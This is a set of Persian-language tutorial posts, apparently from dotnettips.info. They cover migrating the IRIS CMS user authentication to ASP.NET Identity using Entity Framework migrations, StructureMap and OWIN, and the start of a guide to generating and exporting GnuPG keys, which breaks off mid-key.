به شخصه معمولا برای انجام کارهایی از این دست، یک کنترلر در برنامه خود تعریف می‌کنم و در آنجا کارهای لازم را انجام می‌دهم.

در اینجا من برای حذف کاربران با اطلاعات تکراری، یک کنترلر به نام Migration و اکشن متدی به نام RemoveDuplicateUsers تدارک دیدم.

```
using System.Linq;
using System.Web.Mvc;
using Iris.Datalayer.Context;

namespace Iris.Web.Controllers
{
    public class MigrationController : Controller
    {
        public ActionResult RemoveDuplicateUsers()
        {
            var db = new IrisDbContext();

            var lstDuplicateUserGroup = db.Users
                                            .GroupBy(u => u.UserName)
                                            .Where(g => g.Count() > 1)
                                            .ToList();

            foreach (var duplicateUserGroup in lstDuplicateUserGroup)
            {
                foreach (var user in duplicateUserGroup.Skip(1).Where(user => user.UserMetaData !=
null))
                {
                    db.UserMetaDatas.Remove(user.UserMetaData);
                }

                db.Users.RemoveRange(duplicateUserGroup.Skip(1));
            }

            db.SaveChanges();

            return new EmptyResult();
        }
    }
}
```

در اینجا کاربران بر اساس نام کاربری گروه بندی می‌شوند و گروه‌هایی که بیش از یک عضو داشته باشند، یعنی کاربران آن گروه دارای نام کاربری یکسان هستند و به غیر از کاربر اول گروه، بقیه باید حذف شوند. البته این را متذکر شوم که منطق وبسایت من به این شکل بوده است و اگر منطق کدهای شما فرق می‌کند، مطابق با منطق خودتان این کدها را تغییر دهید.

تذکر: اینجا شاید بگویید که چرا cascade delete برای UserMetaData فعال نیست و بخواهید که آن را اصلاح کنید. پیشنهاد من این است که اکنون از هدف اصلی منحرف نشوید و تمام تمرکز خود را بر روی انتقال به ASP Identity با حداقل تغییرات بگذارید. این گونه نباشد که در اواسط کار با خود بگویید که بد نیست حالا فلان کتابخانه را آپدیت کنم یا این تغییر را بدهم بهتر می‌شود. سعی کنید با حداقل تغییرات رو به جلو حرکت کنید؛ آپدیت کردن کتابخانه‌ها را هم بعدا می‌شود انجام داد.

مقایسه ساختار جداول دیتابیس کاربران IRIS با ASP.NET Identity

ساختار جداول ASP.NET Identity به شکل زیر است:

ساختار جداول سیستم کنونی هم بدین شکل است:

Users
Id
UserName
Password
Email
IP
IsBaned
CreatedDate
BanedDate
LastLoginDate
LastPasswordChange
Role_Id
LastActivity
Roles
Id
Name
Description

همان طور که مشخص است در هر دو سیستم، بین ساختار جداول و رابطه‌ی بین آن‌ها شباهت‌ها و تفاوت هایی وجود دارد. سیستم Identity دو جدول بیشتر از IRIS دارد و برای جداولی که در سیستم کنونی وجود ندارند نیاز به انجام کاری نیست و به هنگام پیاده سازی Identity، این جداول به صورت خودکار به دیتابیس اضافه خواهند شد.

دو جدول مشترک در این دو سیستم، جداول Users و Roles هستندکه نحوه‌ی ارتباطشان با یکدیگر متفاوت است. در Iris بین User و Role رابطه‌ی یک به چند وجود دارد ولی در Identity، رابطه‌ی بین این دو جدول چند به چند است و جدول واسط بین آن‌ها نیز UserRoles نام دارد.

از آن جایی که من قصد دارم در سیستم جدید هم رابطه‌ی بین کاربر و نقش چند به چند باشد، به پیش فرض‌های Identity کاری ندارم. به رابطه‌ی کنونی یک به چند کاربر و نقشش نیز دست نمی‌گذارم تا در انتها با یک کوئری از دیتابیس، اطلاعات نقش‌های کاربران را به جدول جدیدش منتقل کنم.

جدولی که در هر دو سیستم مشترک است و هسته‌ی آن‌ها را تشکیل می‌دهد، جدول Users است. اگر دقت کنید می‌بینید که این جدول در هر دو سیستم، دارای یک سری فیلد مشترک است که دقیقا هم نام هستند مثل Id، UserName و Email؛ پس این فیلدها از نظر کاربرد در هر دو سیستم یکسان هستند و مشکلی ایجاد نمی‌کنند.

یک سری فیلد هم در جدول User در سیستم IRIS هست که در Identity نیست و بلعکس. با این فیلدها نیز کاری نداریم چون در هر دو سیستم کار مخصوص به خود را انجام می‌دهند و تداخلی در کار یکدیگر ایجاد نمی‌کنند.

اما فیلدی که برای ذخیره سازی پسورد در هر دو سیستم استفاده می‌شود دارای نام‌های متفاوتی است. در Iris این فیلد Password نام دارد و در Identity نامش PasswordHash است.

برای اینکه در سیستم کنونی، نام فیلد Password جدول User را به PasswordHash تغییر دهیم قدم‌های زیر را بر می‌داریم:

وارد پروژه‌ی DomainClasses شده و کلاس User را باز کنید. سپس نام خاصیت Password را به PasswordHash تغییر دهید. پس از این تغییر بلافاصله یک گزینه زیر آن نمایان می‌شود که می‌خواهد در تمام جاهایی که از این نام استفاده شده است را به نام جدید تغییر دهد؛ آن را انتخاب کرده تا همه جا Password به PasswordHash تغییر کند.

برای این که این تغییر نام بر روی دیتابیس نیز اعمال شود باید از Migration استفاده کرد. در اینجا من از مهاجرت دستی که بر اساس کد هست استفاده می‌کنم تا هم بتوانم کدهای مهاجرت را پیش از اعمال بررسی و هم تاریخچه‌ای از تغییرات را ثبت کنم.

برای این کار، Package Manager Console را باز کرده و از نوار بالایی آن، پروژه پیش فرض را بر روی DataLayer قرار دهید. سپس در کنسول، دستور زیر را وارد کنید:

```
Add-Migration Rename_PasswordToPasswordHash_User
```

اگر وارد پوشه Migrations پروژه DataLayer خود شوید، باید کلاسی با نامی شبیه به 201510090808056_Rename_PasswordToPasswordHash_User ببینید. اگر آن را باز کنید کدهای زیر را خواهید دید:

```
public partial class Rename_PasswordToPasswordHash_User : DbMigration
    {
        public override void Up()
        {
            AddColumn("dbo.Users", "PasswordHash", c => c.String(nullable: false, maxLength: 200));
            DropColumn("dbo.Users", "Password");
        }

        public override void Down()
```

```
        {
            AddColumn("dbo.Users", "Password", c => c.String(nullable: false, maxLength: 200));
            DropColumn("dbo.Users", "PasswordHash");
        }
    }
```

بدیهی هست که این کدها عمل حذف ستون Password را انجام میدهند که سبب از دست رفتن اطلاعات می‌شود. کدهای فوق را به شکل زیر ویرایش کنید تا تنها سبب تغییر نام ستون Password به PasswordHash شود.

```
public partial class Rename_PasswordToPasswordHash_User : DbMigration
    {
        public override void Up()
        {
            RenameColumn("dbo.Users", "Password", "PasswordHash");
        }

        public override void Down()
        {
            RenameColumn("dbo.Users", "PasswordHash", "Password");
        }
    }
```

سپس باز در کنسول دستور Update-Database را وارد کنید تا تغییرات بر روی دیتابیس اعمال شود.

دلیل اینکه این قسمت را مفصل بیان کردم این بود که می‌خواستم در مهاجرت از سیستم اعتبارسنجی خودتان به ASP.NET Identity دید بهتری داشته باشید.

تا به این جای کار فقط پایگاه داده سیستم کنونی را برای مهاجرت آماده کردیم و هنوز ASP.NET Identity را وارد پروژه نکردیم. در بخش‌های بعدی Identity را نصب کرده و تغییرات لازم را هم انجام می‌دهیم.

عنوان: راهنمای تغییر بخش احراز هویت و اعتبارسنجی کاربران سیستم مدیریت محتوای IRIS به ASP.NET Identity – بخش دوم
نویسنده: مهدی سعیدی فر
تاریخ: ۱۳۹۴/۰۷/۲۷ ۱۰:۲۵
آدرس: www.dotnettips.info
گروه‌ها: Entity framework, MVC, Security, ASP.NET Identity, IrisCMS

در بخش اول ، کارهایی که انجام دادیم به طور خلاصه عبارت بودند از:

1- حذف کاربرانی که نام کاربری و ایمیل تکراری داشتند

2- تغییر نام فیلد Password به PasswordHash در جدول User

سیستم مدیریت محتوای IRIS، برای استفاده از Entity Framework، از الگوی واحد کار (Unit Of Work) و تزریق وابستگی استفاده کرده است و اگر با نحوه‌ی پیاده سازی این الگوها آشنا نیستید، خواندن مقاله EF Code First #12 را به شما توصیه می‌کنم.

برای استفاده از ASP.NET Identity نیز باید از الگوی واحد کار استفاده کرد و برای این کار، ما از مقاله اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity استفاده خواهیم کرد. **نکته مهم:** در ادامه اساس کار ما بر پایه‌ی مقاله اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity است و چیزی که بیشتر برای ما اهمیت دارد کدهای نهایی آن هست؛ پس حتما به مخزن کد آن مراجعه کرده و کدهای آن را دریافت کنید. **تغییر نام کلاس User به ApplicationUser**

اگر به کدهای مثال رسمی ASP.NET Identity نگاهی بیندازید، می‌بینید که کلاس مربوط به جدول کاربران ApplicationUser نام دارد، ولی در سیستم IRIS نام آن User است. بهتر است که ما هم نام کلاس خود را از User به ApplicationUser تغییر دهیم چرا که مزایای زیر را به دنبال دارد:

1- به راحتی می‌توان کدهای مورد نیاز را از مثال Identity کپی کرد.

2- در سیستم Iris، بین کلاس User متعلق به پروژه خودمان و User مربوط به HttpContext تداخل رخ می‌داد که با تغییر نام کلاس User دیگر این مشکل را نخواهیم داشت.

برای این کار وارد پروژه Iris.DomainClasses شده و نام کلاس User را به ApplicationUser تغییر دهید. دقت کنید که این تغییر نام را از طریق Solution Explorer انجام دهید و نه از طریق کدهای آن. پس از این تغییر ویژوال استودیو می‌پرسد که آیا نام این کلاس را هم در کل پروژه تغییر دهد که شما آن را تایید کنید.

برای آن که نام جدول Users در دیتابیس تغییری نکند، وارد پوشه‌ی Entity Configuration شده و کلاس UserConfig را گشوده و در سازنده‌ی آن کد زیر را اضافه کنید:

```
ToTable("Users");
```

نصب ASP.NET Identity

برای نصب ASP.NET Identity دستور زیر را در کنسول Nuget وارد کنید:

```
Get-Project Iris.DomainClasses, Iris.Datalayer, Iris.Servicelayer, Iris.Web | Install-Package
Microsoft.AspNet.Identity.EntityFramework
```

از پروژه AspNetIdentityDependencyInjectionSample.DomainClasses کلاس‌های CustomUserRole، CustomUserLogin، CustomUserClaim و CustomRole را به پروژه Iris.DomainClasses منتقل کنید. تنها تغییری که در این کلاس‌ها باید انجام دهید، اصلاح namespace آنهاست.

همچنین بهتر است که به کلاس CustomRole، یک property به نام Description اضافه کنید تا توضیحات فارسی نقش مورد نظر را هم بتوان ذخیره کرد:

```
public class CustomRole : IdentityRole<int, CustomUserRole>
    {
        public CustomRole() { }
        public CustomRole(string name) { Name = name; }

        public string Description { get; set; }

    }
```

نکته: پیشنهاد می‌کنم که اگر می‌خواهید مثلا نام CustomRole را به IrisRole تغییر دهید، این کار را از طریق find and replace انجام ندهید. با همین نام‌های پیش فرض کار را تکمیل کنید و سپس از طریق خود ویژوال استودیو نام کلاس را تغییر دهید تا ویژوال استودیو به نحو بهتری این نام‌ها را در سرتاسر پروژه تغییر دهد.

سپس کلاس ApplicationUser پروژه IRIS را باز کرده و تعریف آن را به شکل زیر تغییر دهید:

```
public class ApplicationUser : IdentityUser<int, CustomUserLogin, CustomUserRole, CustomUserClaim>
```

اکنون می‌توانید propertyهای Id، UserName، PasswordHash و Email را حذف کنید؛ چرا که در کلاس پایه IdentityUser تعریف شده اند.

تغییرات DataLayer

وارد Iris.DataLayer شده و کلاس IrisDbContext را به شکل زیر ویرایش کنید:

```
public class IrisDbContext : IdentityDbContext<ApplicationUser, CustomRole, int, CustomUserLogin,
CustomUserRole, CustomUserClaim>,
        IUnitOfWork
```

اکنون می‌توانید property زیر را نیز حذف کنید چرا که در کلاس پایه تعریف شده است:

```
public DbSet<ApplicationUser> Users { get; set; }
```

نکته مهم: حتما برای کلاس IrisDbContext سازنده ای تعریف کنید که صراحتا نام رشته اتصالی را ذکر کرده باشد، اگر این کار را انجام ندهید با خطاهای عجیب غریبی روبرو می‌شوید.

```
public IrisDbContext()
            : base("IrisDbContext")
        {
        }
```

همچنین درون متد OnModelCreating کدهای زیر را پس از فراخوانی متد base.OnModelCreating(modelBuilder) جهت تعیین نام جداول دیتابیس بنویسید:

```
modelBuilder.Entity<CustomRole>().ToTable("AspRoles");
            modelBuilder.Entity<CustomUserClaim>().ToTable("UserClaims");
            modelBuilder.Entity<CustomUserRole>().ToTable("UserRoles");
            modelBuilder.Entity<CustomUserLogin>().ToTable("UserLogins");
```

از این جهت نام جدول CustomRole را در دیتابیس AspRoles انتخاب کردم تا با نام جدول Roles نقش‌های کنونی سیستم Iris تداخلی پیش نیاید. اکنون دستور زیر را در کنسول Nuget وارد کنید تا کدهای مورد نیاز برای مهاجرت تولید شوند:

```
Add-Migration UpdateDatabaseToAspIdentity
```

```
public partial class UpdateDatabaseToAspIdentity : DbMigration
{
        public override void Up()
        {
            CreateTable(
                "dbo.UserClaims",
                c => new
                    {
                        Id = c.Int(nullable: false, identity: true),
                        UserId = c.Int(nullable: false),
                        ClaimType = c.String(),
                        ClaimValue = c.String(),
                        ApplicationUser_Id = c.Int(),
                    })
                .PrimaryKey(t => t.Id)
                .ForeignKey("dbo.Users", t => t.ApplicationUser_Id)
```

```
                .Index(t => t.ApplicationUser_Id);

            CreateTable(
                "dbo.UserLogins",
                c => new
                    {
                        LoginProvider = c.String(nullable: false, maxLength: 128),
                        ProviderKey = c.String(nullable: false, maxLength: 128),
                        UserId = c.Int(nullable: false),
                        ApplicationUser_Id = c.Int(),
                    })
                .PrimaryKey(t => new { t.LoginProvider, t.ProviderKey, t.UserId })
                .ForeignKey("dbo.Users", t => t.ApplicationUser_Id)
                .Index(t => t.ApplicationUser_Id);

            CreateTable(
                "dbo.UserRoles",
                c => new
                    {
                        UserId = c.Int(nullable: false),
                        RoleId = c.Int(nullable: false),
                        ApplicationUser_Id = c.Int(),
                    })
                .PrimaryKey(t => new { t.UserId, t.RoleId })
                .ForeignKey("dbo.Users", t => t.ApplicationUser_Id)
                .ForeignKey("dbo.AspRoles", t => t.RoleId, cascadeDelete: true)
                .Index(t => t.RoleId)
                .Index(t => t.ApplicationUser_Id);

            CreateTable(
                "dbo.AspRoles",
                c => new
                    {
                        Id = c.Int(nullable: false, identity: true),
                        Description = c.String(),
                        Name = c.String(nullable: false, maxLength: 256),
                    })
                .PrimaryKey(t => t.Id)
                .Index(t => t.Name, unique: true, name: "RoleNameIndex");

            AddColumn("dbo.Users", "EmailConfirmed", c => c.Boolean(nullable: false));
            AddColumn("dbo.Users", "SecurityStamp", c => c.String());
            AddColumn("dbo.Users", "PhoneNumber", c => c.String());
            AddColumn("dbo.Users", "PhoneNumberConfirmed", c => c.Boolean(nullable: false));
            AddColumn("dbo.Users", "TwoFactorEnabled", c => c.Boolean(nullable: false));
            AddColumn("dbo.Users", "LockoutEndDateUtc", c => c.DateTime());
            AddColumn("dbo.Users", "LockoutEnabled", c => c.Boolean(nullable: false));
            AddColumn("dbo.Users", "AccessFailedCount", c => c.Int(nullable: false));
        }

        public override void Down()
        {
            DropForeignKey("dbo.UserRoles", "RoleId", "dbo.AspRoles");
            DropForeignKey("dbo.UserRoles", "ApplicationUser_Id", "dbo.Users");
            DropForeignKey("dbo.UserLogins", "ApplicationUser_Id", "dbo.Users");
            DropForeignKey("dbo.UserClaims", "ApplicationUser_Id", "dbo.Users");
            DropIndex("dbo.AspRoles", "RoleNameIndex");
            DropIndex("dbo.UserRoles", new[] { "ApplicationUser_Id" });
            DropIndex("dbo.UserRoles", new[] { "RoleId" });
            DropIndex("dbo.UserLogins", new[] { "ApplicationUser_Id" });
            DropIndex("dbo.UserClaims", new[] { "ApplicationUser_Id" });
            DropColumn("dbo.Users", "AccessFailedCount");
            DropColumn("dbo.Users", "LockoutEnabled");
            DropColumn("dbo.Users", "LockoutEndDateUtc");
            DropColumn("dbo.Users", "TwoFactorEnabled");
            DropColumn("dbo.Users", "PhoneNumberConfirmed");
            DropColumn("dbo.Users", "PhoneNumber");
            DropColumn("dbo.Users", "SecurityStamp");
            DropColumn("dbo.Users", "EmailConfirmed");
            DropTable("dbo.AspRoles");
            DropTable("dbo.UserRoles");
            DropTable("dbo.UserLogins");
            DropTable("dbo.UserClaims");
        }
}
```

بهتر است که در کدهای تولیدی فوق، اندکی متد Up را با کد زیر تغییر دهید:

```
AddColumn("dbo.Users", "EmailConfirmed", c => c.Boolean(nullable: false, defaultValue:true));
```

چون در سیستم جدید احتیاج به تایید ایمیل به هنگام ثبت نام است، بهتر است که ایمیل‌های قبلی موجود در سیستم نیز به طور پیش فرض تایید شده باشند.
در نهایت برای اعمال تغییرات بر روی دیتابیس دستور زیر را در کنسول Nuget وارد کنید:

```
Update-Database
```

تغییرات ServiceLayer

ابتدا دستور زیر را در کنسول Nuget وارد کنید:

```
Get-Project Iris.Servicelayer, Iris.Web | Install-Package Microsoft.AspNet.Identity.Owin
```

سپس از فولدر Contracts پروژه AspNetIdentityDependencyInjectionSample.ServiceLayer فایل‌های IApplicationRoleManager، IApplicationSignInManager، IApplicationUserManager، ICustomRoleStore و ICustomUserStore را در فولدر Interfaces پروژه Iris.ServiceLayer کپی کنید. تنها کاری هم که نیاز هست انجام بدهید اصلاح namespace هاست.
باز از پروژه AspNetIdentityDependencyInjectionSample.ServiceLayer کلاس‌های ApplicationRoleManager، ApplicationSignInManager، ApplicationUserManager، CustomRoleStore، CustomUserStore، EmailService و SmsService را به پوشه EFServcies پروژه‌ی Iris.ServiceLayer کپی کنید.
نکته: پیشنهاد می‌کنم که EmailService را به IdentityEmailService تغییر نام دهید چرا که در حال حاضر سیستم Iris دارای کلاسی به نامی EmailService هست.

تنظیمات StructureMap برای تزریق وابستگی ها

پروژه Iris.Web را باز کرده، به فولدر DependencyResolution بروید و به کلاس IoC کدهای زیر را اضافه کنید:

```
x.For<IIdentity>().Use(() => (HttpContext.Current != null && HttpContext.Current.User != null) ?
HttpContext.Current.User.Identity : null);

                x.For<IUnitOfWork>()
                    .HybridHttpOrThreadLocalScoped()
                    .Use<IrisDbContext>();

                x.For<IrisDbContext>().HybridHttpOrThreadLocalScoped()
                   .Use(context => (IrisDbContext)context.GetInstance<IUnitOfWork>());
                x.For<DbContext>().HybridHttpOrThreadLocalScoped()
                   .Use(context => (IrisDbContext)context.GetInstance<IUnitOfWork>());

                x.For<IUserStore<ApplicationUser, int>>()
                    .HybridHttpOrThreadLocalScoped()
                    .Use<CustomUserStore>();

                x.For<IRoleStore<CustomRole, int>>()
                    .HybridHttpOrThreadLocalScoped()
                    .Use<RoleStore<CustomRole, int, CustomUserRole>>();

                x.For<IAuthenticationManager>()
                      .Use(() => HttpContext.Current.GetOwinContext().Authentication);

                x.For<IApplicationSignInManager>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<ApplicationSignInManager>();

                x.For<IApplicationRoleManager>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<ApplicationRoleManager>();

                // map same interface to different concrete classes
                x.For<IIdentityMessageService>().Use<SmsService>();
                x.For<IIdentityMessageService>().Use<IdentityEmailService>();

                x.For<IApplicationUserManager>().HybridHttpOrThreadLocalScoped()
                   .Use<ApplicationUserManager>()
                   .Ctor<IIdentityMessageService>("smsService").Is<SmsService>()
```

```
                    .Ctor<IIdentityMessageService>("emailService").Is<IdentityEmailService>()
                    .Setter<IIdentityMessageService>(userManager =>
userManager.SmsService).Is<SmsService>()
                    .Setter<IIdentityMessageService>(userManager =>
userManager.EmailService).Is<IdentityEmailService>();

                x.For<ApplicationUserManager>().HybridHttpOrThreadLocalScoped()
                    .Use(context =>
(ApplicationUserManager)context.GetInstance<IApplicationUserManager>());

                x.For<ICustomRoleStore>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<CustomRoleStore>();

                x.For<ICustomUserStore>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use<CustomUserStore>();
```

اگر HttpContext.Current.GetOwinContext() شناسایی نمی‌شود دلیلش این است که متد GetOwinContext یک متد الحاقی است که برای استفاده از آن باید پکیج نیوگت زیر را نصب کنید:

```
Install-Package Microsoft.Owin.Host.SystemWeb
```

تغییرات Iris.Web

در ریشه پروژه‌ی Iris.Web یک کلاس به نام Startup بسازید و کدهای زیر را در آن بنویسید:

```
using System;
using Iris.Servicelayer.Interfaces;
using Microsoft.AspNet.Identity;
using Microsoft.Owin;
using Microsoft.Owin.Security.Cookies;
using Microsoft.Owin.Security.DataProtection;
using Owin;
using StructureMap;

namespace Iris.Web
{
    public class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            configureAuth(app);
        }

        private static void configureAuth(IAppBuilder app)
        {
            ObjectFactory.Container.Configure(config =>
            {
                config.For<IDataProtectionProvider>()
                      .HybridHttpOrThreadLocalScoped()
                      .Use(() => app.GetDataProtectionProvider());
            });

            //ObjectFactory.Container.GetInstance<IApplicationUserManager>().SeedDatabase();

            // Enable the application to use a cookie to store information for the signed in user
            // and to use a cookie to temporarily store information about a user logging in with a
third party login provider
            // Configure the sign in cookie
            app.UseCookieAuthentication(new CookieAuthenticationOptions
            {
                AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
                LoginPath = new PathString("/Account/Login"),
                Provider = new CookieAuthenticationProvider
                {
                    // Enables the application to validate the security stamp when the user logs in.
                    // This is a security feature which is used when you change a password or add an
external login to your account.
                    OnValidateIdentity =
ObjectFactory.Container.GetInstance<IApplicationUserManager>().OnValidateIdentity()
                }
            });
            app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);
```

```
            // Enables the application to temporarily store user information when they are verifying
the second factor in the two-factor authentication process.
            app.UseTwoFactorSignInCookie(DefaultAuthenticationTypes.TwoFactorCookie,
TimeSpan.FromMinutes(5));

            // Enables the application to remember the second login verification factor such as phone
or email.
            // Once you check this option, your second step of verification during the login process
will be remembered on the device where you logged in from.
            // This is similar to the RememberMe option when you log in.

app.UseTwoFactorRememberBrowserCookie(DefaultAuthenticationTypes.TwoFactorRememberBrowserCookie);

            app.CreatePerOwinContext(
               () => ObjectFactory.Container.GetInstance<IApplicationUserManager>());

            // Uncomment the following lines to enable logging in with third party login providers
            //app.UseMicrosoftAccountAuthentication(
            //    clientId: "",
            //    clientSecret: "");

            //app.UseTwitterAuthentication(
            //   consumerKey: "",
            //   consumerSecret: "");

            //app.UseFacebookAuthentication(
            //   appId: "",
            //   appSecret: "");

            //app.UseGoogleAuthentication(
            //    clientId: "",
            //    clientSecret: "");

        }
    }
}
```

تا به این جای کار اگر پروژه را اجرا کنید نباید هیچ مشکلی مشاهده کنید. در بخش بعدی کدهای مربوط به کنترلرهای ورود، ثبت نام، فراموشی کلمه عبور و ... را با سیستم Identity پیاده سازی می‌کنیم.

عنوان: ساخت کلیدهای امنیتی GunPG
نویسنده: علی یگانه مقدم
تاریخ: ۱۳۹۴/۰۸/۰۲ ۱۹:۳۵
آدرس: www.dotnettips.info
گروه‌ها: Security, Cryptography, Linux

یکی از روش‌های ارسال و رمزگذاری اطلاعات، استفاده از کلیدهای امنیتی مورد استفاده‌ی در سیستم یونیکس یا GnuPG است. استفاده از نرم افزار Gnu Privacy Guard یا گارد حفاظتی گنو، به ما این اجازه را می‌دهد که بتوانیم اطلاعاتمان را در بسترهای ارتباطی، با خیالی راحت‌تر ارسال کنیم و تا حد زیادی مطمئن باشیم که تنها فرد هدف توانایی دسترسی به اطلاعات را خواهد داشت. گارد امنیتی گنو زیر مجموعه‌ای از پروژه‌ی گنو است که دولت آلمان پایه ریز اصلی آن بوده است. این نرم افزار از یک روش رمزگذاری ترکیبی استفاده می‌کند که الگوریتم‌های کلیدهای برابر(متقارن) و کلیدهای عمومی (نامتقارن) جهت تبادل آسان کلید را شامل می‌شود. در حال حاضر که نسخه‌ی دو این برنامه ارائه شده است، برای رمزگذاری‌ها از کتابخانه‌ای به اسم libgcrypt استفاده می‌کند. یکی از مشکلات فعلی این پروژه، عدم وجود apiهای مناسبی جهت دسترسی راحت‌تر است و برای حل این مشکل، GPGME که مخفف GnuPG Made Easy ایجاد شد. بسیاری از برنامه‌ها و پلاگین‌های ارسال اطلاعات، امروزه همچون ارسال ایمیل، از این کلیدها بهره می‌برند.

پروژه‌های مرتبط با این قضیه اسم‌های مشابهی دارند که گاها بعضی افراد، هر کدام از اسم‌ها را که دوست دارند، به همه اطلاق می‌کنند؛ ولی تفاوت‌هایی در این بین وجود دارد:

OpenPGP : یک برنامه نیست و یک قانون و استانداری برای تهیه‌ی آن است؛ که رعایت اصول آن الزامی است و برنامه‌ی بالا، یک پیاده سازی از این استاندارد است.
PGP : یک برنامه، برای رمزگذاری اطلاعات است که مخفف Pretty Good Privacy است.
و **GnuPG یا GPG** که در بالا به آن اشاره شد.
برای ساخت کلید، ما از دستور یا برنامه‌ی GPG که که عمدتا در همه‌ی لینوکس‌ها مثل دبیان و مشتقات آن نصب است، استفاده می‌کنیم و اگر نصب نیست از طریق توزیع آن اقدام نمایید.
در صورتیکه از ویندوز استفاده می‌کنید، نیاز است ابتدا خط فرمان یونیکس را روی آن نصب کنید. برنامه‌ی Cygwin این امکان را به شما می‌دهد تا خط فرمان یونیکس و دستورات پیش فرض آن را داشته باشید. این برنامه در دو حالت ۳۲ بیتی و ۶۴ بیتی ایجاد شده است. از آنجا که گفتیم این برنامه شامل دستورات پیش فرض آن است، برای همین GPG باید به صورت یک بسته‌ی جداگانه نصب شود که در سایت آن می‌توانید بسته‌های مختلف آن‌را برای پلتفرم‌های مختلف را مشاهده کنید.

ساخت کلید

برای ساخت کلید دستور زیر را صادر کنید:

```
gpg --gen-key
```

اگر از نسخه‌های جدیدتر GPG استفاده می‌کنید، گزینه‌هایی به شکل زیر ایجاد می‌شوند؛ ولی اگر خیر، ممکن است تعداد و شماره‌ی گزینه‌ها متفاوت باشند که در این مورد دقت کنید. من در اینجا همان حالت پیش فرض، یعنی ۱ را انتخاب می‌کنم. این گزینه نحوه‌ی امضاء و یا رمزگذاری شما با استفاده از الگوریتم‌های RSA و DSA را مشخص می‌کند.

```
Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
```

در کل در هر حالتی، استفاده‌ی از RSA پیشنهاد می‌شود. بعد از آن، از شما اندازه‌ی کلید را می‌پرسد که همان مقدار پیش فرض خودش را وارد می‌کنیم:

```
What keysize do you want? (2048)
```

البته بسیاری ۱۰۲۴ بایت را نیز کافی می‌دانند.
بعد از آن مدت زمان اعتبار این کلید را از شما جویا می‌شود:

```
Key is valid for? (0)
```

هنگام این پرسش نحوه‌ی ورود زمان را به شما خواهد گفت که می‌تواند به شکل‌های زیر باشد:

```
دو هفته
2w
دو سال
2y
```

پس از آن هم یک تاییدیه از شما می‌گیرد و تاریخ انقضاء را به طور کامل برای شما می‌نویسد و سپس نیاز است که اطلاعاتی از قبیل نام و ایمیل و توضیح را وارد کنید:

```
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: ali yeganeh.m
Email address: yeganehaym@gmail.com
Comment: androidbreadcrumb
You selected this USER-ID:
    "ali yeganeh.m (androidbreadcrumb) <yeganehaym@gmail.com>"
```

بعد از آن از شما می‌خواهد که کل عملیات را تایید و یا کنسل کنید؛ یا اگر اطلاعات بالا را اشتباه وارد کرده‌اید، اصلاح کنید. با زدن کلید O عملیات را تایید کنید. در این حین از شما یک کلید برای رمزگذاری می‌پرسد که باید آن را دو بار بدهید و کارتان در اینجا به پایان می‌رسد و کلید ایجاد می‌شود.
اگر مشکلی در ساخت کلید نباشد با ارسال دستور زیر باید آن را در لیست کلیدها ببینید:

```
ali@alipc:~$ gpg --list-keys
/home/ali/.gnupg/pubring.gpg
----------------------------
pub   2048R/8708016A 2015-10-23 [expires: 2065-10-10]
uid                  ali yeganeh.m (androidbreadcrumb) <yeganehaym@gmail.com>
sub   2048R/533B7E96 2015-10-23 [expires: 2065-10-10]
```

در اینجا کلید عمومی در خط pub بعد از / قرار دارد؛ یعنی عبارت ۸۷۰۸۰۱۶A کلید عمومی ماست که بر روی هر سیستم و هر کلیدی متفاوت است.

تبدیل کد متنی به کد دودویی

یکی از روش‌های ارسال کدهای دودویی تبدیل آنان به یک قالب متنی ASCII است که به آن قالب ASCII Armor هم می‌گویند. سایت‌های زیادی وجود دارند که این عبارت متنی را از شما می‌خواهند. چرا که مثلا این امکان وجود دارد که کلیدی که کاربر به سمت آنان می‌فرستد، آسیب دیده باشد یا اینکه KeyServerها در دسترس نباشند. در مورد این سرورها در ادامه صحبت خواهیم کرد. مثلا یکی از سایت‌هایی که به این عبارت‌ها نیاز دارد Bintray است.

برای دریافت این کلید متنی باید دستور زیر را صادر کنید:

```
gpg --output mykey.asc --export -a $GPGKEY
```

که برای مثال ما می‌شود:

```
gpg --output mykey.asc --export -a 8708016A
```

و اگر کلید را با یک ویرایشگر متنی باز کنید، محتوایی شبیه محتوای زیر را خواهید دید:

```
ali@alipc:~$ cat mykey.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

mQENBFYqAJABCADcw5xPonh5Vj7nDk1CxDskq/VsO08XOa/i2OLOzatB4oK5x+0x
jxORxXMnIAR83PCK5/WkOBa64jnu3eiP3jKEwAykGGz/Z1bezC9TIP8y+PnsiDhT
aFArluUJx+RT5q7s27aKjqoc3fR/xuwLWopZt9uYzE/DQAPDsHdUoUg+fh4Hevm+
a8/3ncR7q6nM8gc9wk621Urb1HaRrILdmeh7ZpJcl8ZUbc+NObw357fGsjnpfHXO
rdCr7ClvNUq6I+IeGMQG/6040LeeaqhaRxPrUhbFjLA155gkSqzecxl7wQaYc71M
Zdlv+6Pt1B8nPAA3WXq0ypjU8A5bvmAQRD5LABEBAAG0OGFsaSB5ZWdhbmVoLm0g
KGFuZHJvaWRicmVhZGNydW1iKSA8eWVnYW5laGF5bUBnbWFpbC5jb20+iQE+BBMB
AgAoBQJWKgCQAhsDBQld/A8ABgsJCAcDAgYVCAIJCgsEFgIDAQIeAQIXgAAKCRDS
Lhq8hwgBanaHB/4reGxUjR6dB08ykfwQOx+raYHGqJlgawisE4qUHTkGaspyQaNy
yxh0vwKkGvg6nNy2VN1XFBc7jlHlrYqPPuPdg2B+1LvEghb30ESDbHUvk8NrJgDJ
C0257gxqWvUQTWvMC3FkSLdw3tyQ8dF7FxmSU79XcxVqGeseaDzMQrEasP0yJHsm
NJf8pvuD6qiWu3KSSoQmI/17Sj8s7eGJMh6o5YRFGHc1Bt9tCD+52bvt579Ju4vZ
